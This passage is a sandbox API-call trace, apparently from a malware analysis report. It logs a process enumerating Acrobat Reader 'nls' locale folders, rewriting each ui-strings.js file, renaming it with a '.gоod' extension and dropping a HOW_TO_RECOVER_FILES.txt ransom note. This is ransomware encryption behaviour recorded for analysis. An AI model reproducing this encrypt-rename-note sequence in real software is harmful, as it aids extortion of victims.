SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0195.845] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0195.846] GetFileType (hFile=0x7f8) returned 0x1 [0195.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0195.846] GetFileType (hFile=0x7f8) returned 0x1 [0195.846] WriteFile (in: hFile=0x7f8, lpBuffer=0x3524fa8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3524fa8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0195.846] CloseHandle (hObject=0x7f8) returned 1 [0195.846] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0195.846] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0195.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0195.846] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x70f2804c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1fcd)) returned 1 [0195.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0195.846] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js.gоod")) returned 1 [0195.848] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0195.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0195.848] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pl-pl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0195.848] GetFileType (hFile=0x7f8) returned 0x1 [0195.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0195.848] GetFileType (hFile=0x7f8) returned 0x1 [0195.849] WriteFile (in: hFile=0x7f8, lpBuffer=0x35be7c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x35be7c8*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0195.850] CloseHandle (hObject=0x7f8) returned 1 [0195.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0195.850] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br", lpFilePart=0x0) returned 0x6a [0195.850] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0195.851] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.851] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0195.851] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.851] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0195.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0195.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0195.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0195.851] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br", lpFilePart=0x0) returned 0x6a [0195.851] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0195.852] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.852] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0195.852] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0195.852] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0195.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0195.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0195.852] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0195.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0195.852] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x35ce430 | out: lpFileInformation=0x35ce430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f)) returned 1 [0195.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0195.853] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0195.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0195.853] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0195.853] GetFileType (hFile=0x7f8) returned 0x1 [0195.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0195.853] GetFileType (hFile=0x7f8) returned 0x1 [0195.853] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0195.853] ReadFile (in: hFile=0x7f8, lpBuffer=0x35ce918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35ce918*, lpNumberOfBytesRead=0x1ffebaa8*=0xf8f, lpOverlapped=0x0) returned 1 [0197.367] CloseHandle (hObject=0x7f8) returned 1 [0198.056] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0198.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0198.064] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0198.090] GetFileType (hFile=0x6e0) returned 0x1 [0198.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0198.090] GetFileType (hFile=0x6e0) returned 0x1 [0198.090] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1f8f [0198.090] WriteFile (in: hFile=0x6e0, lpBuffer=0x373e908*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x373e908*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0198.090] CloseHandle (hObject=0x6e0) returned 1 [0198.090] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0198.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0198.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0198.091] GetFileType (hFile=0x6e0) returned 0x1 [0198.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0198.091] GetFileType (hFile=0x6e0) returned 0x1 [0198.091] ReadFile (in: hFile=0x6e0, lpBuffer=0x3740c30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3740c30*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0198.118] CloseHandle (hObject=0x6e0) returned 1 [0198.118] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0198.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0198.118] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0198.118] GetFileType (hFile=0x6e0) returned 0x1 [0198.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0198.118] GetFileType (hFile=0x6e0) returned 0x1 [0198.118] WriteFile (in: hFile=0x6e0, lpBuffer=0x373f920*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x373f920*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0198.118] CloseHandle (hObject=0x6e0) returned 1 [0198.118] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0198.118] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0198.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0198.119] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x724c3537, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f)) returned 1 [0198.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0198.119] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js.gоod")) returned 1 [0198.120] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0198.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0198.120] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\pt-br\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0198.120] GetFileType (hFile=0x6e0) returned 0x1 [0198.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0198.120] GetFileType (hFile=0x6e0) returned 0x1 [0198.121] WriteFile (in: hFile=0x6e0, lpBuffer=0x37c1b60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x37c1b60*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0198.122] CloseHandle (hObject=0x6e0) returned 1 [0198.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0198.122] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro", lpFilePart=0x0) returned 0x6a [0198.122] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0198.338] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.338] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2012, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0198.338] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0198.338] FindClose (in: hFindFile=0x131dec0 | out: 